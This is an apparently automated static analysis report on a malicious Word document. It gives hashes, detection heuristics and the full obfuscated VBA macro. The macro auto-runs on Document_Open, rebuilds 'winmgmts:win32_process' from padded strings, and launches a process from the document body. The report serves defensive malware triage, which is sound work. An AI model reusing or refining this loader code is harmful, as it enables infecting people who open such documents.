Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 68f09915a4eeb43e…

MALICIOUS

Office (OLE)

110.5 KB Created: 2021-01-22 14:50:00 Authoring application: Microsoft Office Word First seen: 2021-02-20
MD5: 4b602fa323d8a8771dbbef54959be3e8 SHA-1: 9f56ba7ba0033703359d767901022cfd1a38706b SHA-256: 68f09915a4eeb43eed4d6d67fbe8fde5fd9dbe759ea4eacad3096d581f290dc0
172 Risk Score

Heuristics 7

  • ClamAV: Doc.Malware.Emodldr-10033991-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emodldr-10033991-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set Au_0ro2zoacsa1 = CreateObject(Elo20kmssptqk)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_open()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 16780 bytes
SHA-256: 347deb566c7e9fd6f5c2af2a34e8d1cae1a2c01d4391a55cd7f997d9391cd768
Detection
ClamAV: No threats found
Obfuscation or payload: likely
131 of 218 identifiers look randomly generated (e.g. 'W0fai8psu0y8kwwq75'); 1 string-concatenation chain(s) — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Zvfrgl3zqkd2gw3"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
O5z3t_sfso6xz1
End Sub

Attribute VB_Name = "Zqjbz56to35ftj0kf"
    

Attribute VB_Name = "Dzbky2bhynftefpvl"
Function O5z3t_sfso6xz1()
   GoTo NvKewiBFG
Set HRYCIIAAG = VrBoIIAwi
    Dim WOAQAD, pdTSF, ycphDEl As Long
    Dim gHKdAHq As Word.Paragraph
    Dim gQAMHaj() As Byte
    For Each gHKdAHq In Zvfrgl3zqkd2gw3.Paragraphs
        gQAMHaj = gHKdAHq.Range
        dscc = "sadsaccc" & gHKdAHq.Range
        pdTSF = UBound(gQAMHaj) - 1
        WOAQAD = 0
Set RTXqiFG = xrWOHGeb
        Do Until pdTSF > pdTSF
            If gQAMHaj(pdTSF) = 46 Or pdTSF = pdTSF Then
                dscc = "sasdsacc" & (WOAQAD / 2) + 1 & " to " & (pdTSF / 2) + 1 & MidB$(gQAMHaj, WOAQAD + 1, pdTSF - WOAQAD + 3)
                WOAQAD = pdTSF + 2
            End If
            pdTSF = pdTSF + 2
        Loop
    Next
NvKewiBFG:
skuwd = Hy32jrkoenmtnyevo + Zvfrgl3zqkd2gw3 _
. _
Content + X3rp0qrye9fdddf
   GoTo cUSZYD
Set LgLYKED = YqhxKjHb
    Dim yUIuGGlnE, qQlyfE, iBMyFQ As Long
    Dim fdjvHRD As Word.Paragraph
    Dim jhkEJFIDE() As Byte
    For Each fdjvHRD In Zvfrgl3zqkd2gw3.Paragraphs
        jhkEJFIDE = fdjvHRD.Range
        dscc = "sadsaccc" & fdjvHRD.Range
        qQlyfE = UBound(jhkEJFIDE) - 1
        yUIuGGlnE = 0
Set AuBpbDm = djXdiIC
        Do Until qQlyfE > qQlyfE
            If jhkEJFIDE(qQlyfE) = 46 Or qQlyfE = qQlyfE Then
                dscc = "sasdsacc" & (yUIuGGlnE / 2) + 1 & " to " & (qQlyfE / 2) + 1 & MidB$(jhkEJFIDE, yUIuGGlnE + 1, qQlyfE - yUIuGGlnE + 3)
                yUIuGGlnE = qQlyfE + 2
            End If
            qQlyfE = qQlyfE + 2
        Loop
    Next
cUSZYD:
wjnsc = "x [ sh bpx [ sh b"
Bd3vq6tbnoc62j68 = "x [ sh brox [ sh bx [ sh bcex [ sh bsx [ sh bsx [ sh bx [ sh b"
   GoTo bFIDwDm
Set zDkypYko = VTgaL
    Dim NYIlGJ, lXguEss, XXnXHE As Long
    Dim IcsIhAFkB As Word.Paragraph
    Dim JBZCCbjIW() As Byte
    For Each IcsIhAFkB In Zvfrgl3zqkd2gw3.Paragraphs
        JBZCCbjIW = IcsIhAFkB.Range
        dscc = "sadsaccc" & IcsIhAFkB.Range
        lXguEss = UBound(JBZCCbjIW) - 1
        NYIlGJ = 0
Set GZVoGPJH = FQZZSvD
        Do Until lXguEss > lXguEss
            If JBZCCbjIW(lXguEss) = 46 Or lXguEss = lXguEss Then
                dscc = "sasdsacc" & (NYIlGJ / 2) + 1 & " to " & (lXguEss / 2) + 1 & MidB$(JBZCCbjIW, NYIlGJ + 1, lXguEss - NYIlGJ + 3)
                NYIlGJ = lXguEss + 2
            End If
            lXguEss = lXguEss + 2
        Loop
    Next
bFIDwDm:
Cba1343xh9r_j02wew = "x [ sh b:wx [ sh bx [ sh binx [ sh b3x [ sh b2x [ sh b_x [ sh b"
   GoTo ujWOMv
Set DqMnCBDJC = HptBIdJ
    Dim huvrCoI, ibkdrF, XuOiuyC As Long
    Dim fOkcHEMj As Word.Paragraph
    Dim kflFjv() As Byte
    For Each fOkcHEMj In Zvfrgl3zqkd2gw3.Paragraphs
        kflFjv = fOkcHEMj.Range
        dscc = "sadsaccc" & fOkcHEMj.Range
        ibkdrF = UBound(kflFjv) - 1
        huvrCoI = 0
Set iCDwruADb = GgHgJT
        Do Until ibkdrF > ibkdrF
            If kflFjv(ibkdrF) = 46 Or ibkdrF = ibkdrF Then
                dscc = "sasdsacc" & (huvrCoI / 2) + 1 & " to " & (ibkdrF / 2) + 1 & MidB$(kflFjv, huvrCoI + 1, ibkdrF - huvrCoI + 3)
                huvrCoI = ibkdrF + 2
            End If
            ibkdrF = ibkdrF + 2
        Loop
    Next
ujWOMv:
C20_1qjncpzl6w4l = "wx [ sh binx [ sh bmx [ sh bgmx [ sh btx [ sh bx [ sh b"
   GoTo tajGGeFu
Set JVmIlgdBJ = bxCIIA
    Dim RpobCbJB, WlLSEDhA, uXmms As Long
    Dim MliVJ As Word.Paragraph
    Dim apFdI() As Byte
    For Each MliVJ In Zvfrgl3zqkd2gw3.Paragraphs
        apFdI = MliVJ.Range
        dscc = "sadsaccc" & MliVJ.Range
        WlLSEDhA = UBound(apFdI) - 1
        RpobCbJB = 0
Set bEvEmSRxw = NUAkIOJk
        Do Until WlLSEDhA > WlLSEDhA
            If apFdI(WlLSEDhA) = 46 Or WlLSEDhA = WlLSEDhA Then
                dscc = "sasdsacc" & (RpobCbJB / 2) + 1 & " to " & (WlLSEDhA / 2) + 1 & MidB$(apFdI, RpobCbJB + 1, WlLSEDhA - RpobCbJB + 3)
                RpobCbJB = WlLSEDhA + 2
            End If
            WlLSEDhA = WlLSEDhA + 2
        Loop
    Next
tajGGeFu:
G9kfp4nn60ey7ip = "x [ sh bx [ sh b" + Mid(Application.Name, 60 / 10, 1) + "x [ sh bx [ sh b"
   GoTo UYRRJH
Set pigMDFuH = pzvoBsDr
    Dim WrlKBrCWE, ZumgAAC, UVVYHxfCT As Long
    Dim HlwjJB As Word.Paragraph
    Dim gmsuF() As Byte
    For Each HlwjJB In Zvfrgl3zqkd2gw3.Paragraphs
        gmsuF = HlwjJB.Range
        dscc = "sadsaccc" & HlwjJB.Range
        ZumgAAC = UBound(gmsuF) - 1
        WrlKBrCWE = 0
Set lNDoGIGz = pTuzGbiIr
        Do Until ZumgAAC > ZumgAAC
            If gmsuF(ZumgAAC) = 46 Or ZumgAAC = ZumgAAC Then
                dscc = "sasdsacc" & (WrlKBrCWE / 2) + 1 & " to " & (ZumgAAC / 2) + 1 & MidB$(gmsuF, WrlKBrCWE + 1, ZumgAAC - WrlKBrCWE + 3)
                WrlKBrCWE = ZumgAAC + 2
            End If
            ZumgAAC = ZumgAAC + 2
        Loop
    Next
UYRRJH:
W0fai8psu0y8kwwq75 = C20_1qjncpzl6w4l + G9kfp4nn60ey7ip + Cba1343xh9r_j02wew + wjnsc + Bd3vq6tbnoc62j68
   GoTo OuRjB
Set AaQQV = SKUHDIK
    Dim FaOCk, ZVAIbJxD, ViONGI As Long
    Dim FXReESFIH As Word.Paragraph
    Dim YVBLBDJtF() As Byte
    For Each FXReESFIH In Zvfrgl3zqkd2gw3.Paragraphs
        YVBLBDJtF = FXReESFIH.Range
        dscc = "sadsaccc" & FXReESFIH.Range
        ZVAIbJxD = UBound(YVBLBDJtF) - 1
        FaOCk = 0
Set wrsrdCte = dekmoFJGH
        Do Until ZVAIbJxD > ZVAIbJxD
            If YVBLBDJtF(ZVAIbJxD) = 46 Or ZVAIbJxD = ZVAIbJxD Then
                dscc = "sasdsacc" & (FaOCk / 2) + 1 & " to " & (ZVAIbJxD / 2) + 1 & MidB$(YVBLBDJtF, FaOCk + 1, ZVAIbJxD - FaOCk + 3)
                FaOCk = ZVAIbJxD + 2
            End If
            ZVAIbJxD = ZVAIbJxD + 2
        Loop
    Next
OuRjB:
Elo20kmssptqk = Htvlb0tzhnue_k6(W0fai8psu0y8kwwq75)
   GoTo ZHOgAQi
Set VcJzUHyrE = ldpqDBA
    Dim znpAeDO, jpuBH, RMZFAVu As Long
    Dim NAhjM As Word.Paragraph
    Dim LaoPHA() As Byte
    For Each NAhjM In Zvfrgl3zqkd2gw3.Paragraphs
        LaoPHA = NAhjM.Range
        dscc = "sadsaccc" & NAhjM.Range
        jpuBH = UBound(LaoPHA) - 1
        znpAeDO = 0
Set vNEQNBC = vYEKEGBqF
        Do Until jpuBH > jpuBH
            If LaoPHA(jpuBH) = 46 Or jpuBH = jpuBH Then
                dscc = "sasdsacc" & (znpAeDO / 2) + 1 & " to " & (jpuBH / 2) + 1 & MidB$(LaoPHA, znpAeDO + 1, jpuBH - znpAeDO + 3)
                znpAeDO = jpuBH + 2
            End If
            jpuBH = jpuBH + 2
        Loop
    Next
ZHOgAQi:
Set Au_0ro2zoacsa1 = CreateObject(Elo20kmssptqk)
   GoTo cCIXDyJ
Set XbCoJBP = RoPSEMmzG
    Dim wGteyQUaI, BnawF, cCdSDnEh As Long
    Dim iRBWp As Word.Paragraph
    Dim NNtElBCv() As Byte
    For Each iRBWp In Zvfrgl3zqkd2gw3.Paragraphs
        NNtElBCv = iRBWp.Range
        dscc = "sadsaccc" & iRBWp.Range
        BnawF = UBound(NNtElBCv) - 1
        wGteyQUaI = 0
Set mDbUAA = VEiXHBKiG
        Do Until BnawF > BnawF
            If NNtElBCv(BnawF) = 46 Or BnawF = BnawF Then
                dscc = "sasdsacc" & (wGteyQUaI / 2) + 1 & " to " & (BnawF / 2) + 1 & MidB$(NNtElBCv, wGteyQUaI + 1, BnawF - wGteyQUaI + 3)
                wGteyQUaI = BnawF + 2
            End If
            BnawF = BnawF + 2
        Loop
    Next
cCIXDyJ:
njcnja = Mid(skuwd, (1 + 1 + 1 + 1), Len(skuwd))
nnjasd = Htvlb0tzhnue_k6(njcnja)
   GoTo SSxoD
Set LvzDFdC = LIdrHtGU
    Dim BQzKAH, QMwyBX, RxJLJDb As Long
    Dim ITewEFGbL As Word.Paragraph
    Dim uJzqAz() As Byte
    For Each ITewEFGbL In Zvfrgl3zqkd2gw3.Paragraphs
        uJzqAz = ITewEFGbL.Range
        dscc = "sadsaccc" & ITewEFGbL.Range
        QMwyBX = UBound(uJzqAz) - 1
        BQzKAH = 0
Set hIANnGS = COZsFHB
        Do Until QMwyBX > QMwyBX
            If uJzqAz(QMwyBX) = 46 Or QMwyBX = QMwyBX Then
                dscc = "sasdsacc" & (BQzKAH / 2) + 1 & " to " & (QMwyBX / 2) + 1 & MidB$(uJzqAz, BQzKAH + 1, QMwyBX - BQzKAH + 3)
                BQzKAH = QMwyBX + 2
            End If
            QMwyBX = QMwyBX + 2
        Loop
    Next
SSxoD:
Au_0ro2zoacsa1.Create nnjasd, E39d0sfmnyd, X40ro6ycpilabu
   GoTo cHnoGGAAE
Set pBZoHbCAa = YRpdIBCH
    Dim wzdZJFIi, CCfII, uzpqINU As Long
    Dim ixKGHEEJ As Word.Paragraph
    Dim qfatBGa() As Byte
    For Each ixKGHEEJ In Zvfrgl3zqkd2gw3.Paragraphs
        qfatBGa = ixKGHEEJ.Range
        dscc = "sadsaccc" & ixKGHEEJ.Range
        CCfII = UBound(qfatBGa) - 1
        wzdZJFIi = 0
Set jnFUECDE = okaWGJFBC
        Do Until CCfII > CCfII
            If qfatBGa(CCfII) = 46 Or CCfII = CCfII Then
                dscc = "sasdsacc" & (wzdZJFIi / 2) + 1 & " to " & (CCfII / 2) + 1 & MidB$(qfatBGa, wzdZJFIi + 1, CCfII - wzdZJFIi + 3)
                wzdZJFIi = CCfII + 2
            End If
            CCfII = CCfII + 2
        Loop
    Next
cHnoGGAAE:
End Function
Function Htvlb0tzhnue_k6(A7hmr45qn7d7fu8xma)
On Error Resume Next
   GoTo IESsF
Set wvYBLF = JPBPCEBB
    Dim VaCcJDSk, QulsHFBcy, TpHrjrJ As Long
    Dim qpsDtN As Word.Paragraph
    Dim gUDIlfDH() As Byte
    For Each qpsDtN In Zvfrgl3zqkd2gw3.Paragraphs
        gUDIlfDH = qpsDtN.Range
        dscc = "sadsaccc" & qpsDtN.Range
        QulsHFBcy = UBound(gUDIlfDH) - 1
        VaCcJDSk = 0
Set emwzsWDDJ = bkNSBCcwq
        Do Until QulsHFBcy > QulsHFBcy
            If gUDIlfDH(QulsHFBcy) = 46 Or QulsHFBcy = QulsHFBcy Then
                dscc = "sasdsacc" & (VaCcJDSk / 2) + 1 & " to " & (QulsHFBcy / 2) + 1 & MidB$(gUDIlfDH, VaCcJDSk + 1, QulsHFBcy - VaCcJDSk + 3)
                VaCcJDSk = QulsHFBcy + 2
            End If
            QulsHFBcy = QulsHFBcy + 2
        Loop
    Next
IESsF:
Ym3_6gt7fdlw9atd_z = A7hmr45qn7d7fu8xma
   GoTo MGanJwJSg
Set SsPcFE = ueLlgFGKF
    Dim EtogHD, GMyaLFFhs, gYRQDj As Long
    Dim BhCuiYW As Word.Paragraph
    Dim hqSoEQ() As Byte
    For Each BhCuiYW In Zvfrgl3zqkd2gw3.Paragraphs
        hqSoEQ = BhCuiYW.Range
        dscc = "sadsaccc" & BhCuiYW.Range
        GMyaLFFhs = UBound(hqSoEQ) - 1
        EtogHD = 0
Set NrzAF = rWYnXj
        Do Until GMyaLFFhs > GMyaLFFhs
            If hqSoEQ(GMyaLFFhs) = 46 Or GMyaLFFhs = GMyaLFFhs Then
                dscc = "sasdsacc" & (EtogHD / 2) + 1 & " to " & (GMyaLFFhs / 2) + 1 & MidB$(hqSoEQ, EtogHD + 1, GMyaLFFhs - EtogHD + 3)
                EtogHD = GMyaLFFhs + 2
            End If
            GMyaLFFhs = GMyaLFFhs + 2
        Loop
    Next
MGanJwJSg:
Dm07zbafc3yf1qz = Tpcc5hj272jcyr1v(Ym3_6gt7fdlw9atd_z)
   GoTo pfUGMEJBQ
Set BMASF = CxNZFE
    Dim xFPzmB, LkTYIJEyO, UzNhk As Long
    Dim SeQMEgB As Word.Paragraph
    Dim QSDOxFI() As Byte
    For Each SeQMEgB In Zvfrgl3zqkd2gw3.Paragraphs
        QSDOxFI = SeQMEgB.Range
        dscc = "sadsaccc" & SeQMEgB.Range
        LkTYIJEyO = UBound(QSDOxFI) - 1
        xFPzmB = 0
Set vpDlL = ZRnaEACE
        Do Until LkTYIJEyO > LkTYIJEyO
            If QSDOxFI(LkTYIJEyO) = 46 Or LkTYIJEyO = LkTYIJEyO Then
                dscc = "sasdsacc" & (xFPzmB / 2) + 1 & " to " & (LkTYIJEyO / 2) + 1 & MidB$(QSDOxFI, xFPzmB + 1, LkTYIJEyO - xFPzmB + 3)
                xFPzmB = LkTYIJEyO + 2
            End If
            LkTYIJEyO = LkTYIJEyO + 2
        Loop
    Next
pfUGMEJBQ:
Htvlb0tzhnue_k6 = Dm07zbafc3yf1qz
   GoTo ewnFVG
Set iAMol = kKfcI
    Dim bzsFyDG, QioeCOG, fqiBQ As Long
    Dim qaHQJm As Word.Paragraph
    Dim fizpnI() As Byte
    For Each qaHQJm In Zvfrgl3zqkd2gw3.Paragraphs
        fizpnI = qaHQJm.Range
        dscc = "sadsaccc" & qaHQJm.Range
        QioeCOG = UBound(fizpnI) - 1
        bzsFyDG = 0
Set FbFjQr = yqhxJBCUA
        Do Until QioeCOG > QioeCOG
            If fizpnI(QioeCOG) = 46 Or QioeCOG = QioeCOG Then
                dscc = "sasdsacc" & (bzsFyDG / 2) + 1 & " to " & (QioeCOG / 2) + 1 & MidB$(fizpnI, bzsFyDG + 1, QioeCOG - bzsFyDG + 3)
                bzsFyDG = QioeCOG + 2
            End If
            QioeCOG = QioeCOG + 2
        Loop
    Next
ewnFVG:
End Function
Function Tpcc5hj272jcyr1v(Rm6w_auihbdf3d)
   GoTo JUUdil
Set jHVaIdnk = gzcTJ
    Dim eeuTEgoJ, njZbpwGHw, LLCAuvKGX As Long
    Dim dTiSBBB As Word.Paragraph
    Dim RtciCzEBD() As Byte
    For Each dTiSBBB In Zvfrgl3zqkd2gw3.Paragraphs
        RtciCzEBD = dTiSBBB.Range
        dscc = "sadsaccc" & dTiSBBB.Range
        njZbpwGHw = UBound(RtciCzEBD) - 1
        eeuTEgoJ = 0
Set lJebFpA = LJBzcH
        Do Until njZbpwGHw > njZbpwGHw
            If RtciCzEBD(njZbpwGHw) = 46 Or njZbpwGHw = njZbpwGHw Then
                dscc = "sasdsacc" & (eeuTEgoJ / 2) + 1 & " to " & (njZbpwGHw / 2) + 1 & MidB$(RtciCzEBD, eeuTEgoJ + 1, njZbpwGHw - eeuTEgoJ + 3)
                eeuTEgoJ = njZbpwGHw + 2
            End If
            njZbpwGHw = njZbpwGHw + 2
        Loop
    Next
JUUdil:
   GoTo PSMHok
Set ZXMqF = GEcmx
    Dim bgEXFljIC, EgwbDAAmA, LITedXxDN As Long
    Dim DhVRySE As Word.Paragraph
    Dim isMBH() As Byte
    For Each DhVRySE In Zvfrgl3zqkd2gw3.Paragraphs
        isMBH = DhVRySE.Range
        dscc = "sadsaccc" & DhVRySE.Range
        EgwbDAAmA = UBound(isMBH) - 1
        bgEXFljIC = 0
Set XzSeEAFsA = rCDkFB
        Do Until EgwbDAAmA > EgwbDAAmA
            If isMBH(EgwbDAAmA) = 46 Or EgwbDAAmA = EgwbDAAmA Then
                dscc = "sasdsacc" & (bgEXFljIC / 2) + 1 & " to " & (EgwbDAAmA / 2) + 1 & MidB$(isMBH, bgEXFljIC + 1, EgwbDAAmA - bgEXFljIC + 3)
                bgEXFljIC = EgwbDAAmA + 2
            End If
            EgwbDAAmA = EgwbDAAmA + 2
        Loop
    Next
PSMHok:
   GoTo KjkIDpEKQ
Set ROrYVdGH = ubfnA
    Dim nYDTFUG, anOaCBIe, QsEDCqEF As Long
    Dim vAzqB As Word.Paragraph
    Dim JhDay() As Byte
    For Each vAzqB In Zvfrgl3zqkd2gw3.Paragraphs
        JhDay = vAzqB.Range
        dscc = "sadsaccc" & vAzqB.Range
        anOaCBIe = UBound(JhDay) - 1
        nYDTFUG = 0
Set liXDIfvi = kHiAvd
        Do Until anOaCBIe > anOaCBIe
            If JhDay(anOaCBIe) = 46 Or anOaCBIe = anOaCBIe Then
                dscc = "sasdsacc" & (nYDTFUG / 2) + 1 & " to " & (anOaCBIe / 2) + 1 & MidB$(JhDay, nYDTFUG + 1, anOaCBIe - nYDTFUG + 3)
                nYDTFUG = anOaCBIe + 2
            End If
            anOaCBIe = anOaCBIe + 2
        Loop
    Next
KjkIDpEKQ:
Tpcc5hj272jcyr1v = Replace(Rm6w_auihbdf3d, "x [ sh b", Laxoo78t2oocdo)
   GoTo BHJDIHI
Set eBEaCwBHF = AFCPRFbH
    Dim rTAsM, MTXNn, CMFrMCGHq As Long
    Dim AiTaGk As Word.Paragraph
    Dim jOFjV() As Byte
    For Each AiTaGk In Zvfrgl3zqkd2gw3.Paragraphs
        jOFjV = AiTaGk.Range
        dscc = "sadsaccc" & AiTaGk.Range
        MTXNn = UBound(jOFjV) - 1
        rTAsM = 0
Set Kqvpe = XcSxqS
        Do Until MTXNn > MTXNn
            If jOFjV(MTXNn) = 46 Or MTXNn = MTXNn Then
                dscc = "sasdsacc" & (rTAsM / 2) + 1 & " to " & (MTXNn / 2) + 1 & MidB$(jOFjV, rTAsM + 1, MTXNn - rTAsM + 3)
                rTAsM = MTXNn + 2
            End If
            MTXNn = MTXNn + 2
        Loop
    Next
BHJDIHI:
   GoTo fcfSGGp
Set vuNGG = cPAtG
    Dim UhsCFBy, yIAPBkrHA, vdINM As Long
    Dim aeFNF As Word.Paragraph
    Dim tzDdGYHvP() As Byte
    For Each aeFNF In Zvfrgl3zqkd2gw3.Paragraphs
        tzDdGYHvP = aeFNF.Range
        dscc = "sadsaccc" & aeFNF.Range
        yIAPBkrHA = UBound(tzDdGYHvP) - 1
        UhsCFBy = 0
Set nuAKCBO = btvfDuAu
        Do Until yIAPBkrHA > yIAPBkrHA
            If tzDdGYHvP(yIAPBkrHA) = 46 Or yIAPBkrHA = yIAPBkrHA Then
                dscc = "sasdsacc" & (UhsCFBy / 2) + 1 & " to " & (yIAPBkrHA / 2) + 1 & MidB$(tzDdGYHvP, UhsCFBy + 1, yIAPBkrHA - UhsCFBy + 3)
                UhsCFBy = yIAPBkrHA + 2
            End If
            yIAPBkrHA = yIAPBkrHA + 2
        Loop
    Next
fcfSGGp:
   GoTo auajFJOu
Set dfOVA = vVBJjn
    Dim eCGxBEJ, tGRMtgq, TXzbj As Long
    Dim vGodyitKJ As Word.Paragraph
    Dim XaRNG() As Byte
    For Each vGodyitKJ In Zvfrgl3zqkd2gw3.Paragraphs
        XaRNG = vGodyitKJ.Range
        dscc = "sadsaccc" & vGodyitKJ.Range
        tGRMtgq = UBound(XaRNG) - 1
        eCGxBEJ = 0
Set LdHNIKpl = PVdOBJJE
        Do Until tGRMtgq > tGRMtgq
            If XaRNG(tGRMtgq) = 46 Or tGRMtgq = tGRMtgq Then
                dscc = "sasdsacc" & (eCGxBEJ / 2) + 1 & " to " & (tGRMtgq / 2) + 1 & MidB$(XaRNG, eCGxBEJ + 1, tGRMtgq - eCGxBEJ + 3)
                eCGxBEJ = tGRMtgq + 2
            End If
            tGRMtgq = tGRMtgq + 2
        Loop
    Next
auajFJOu:
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.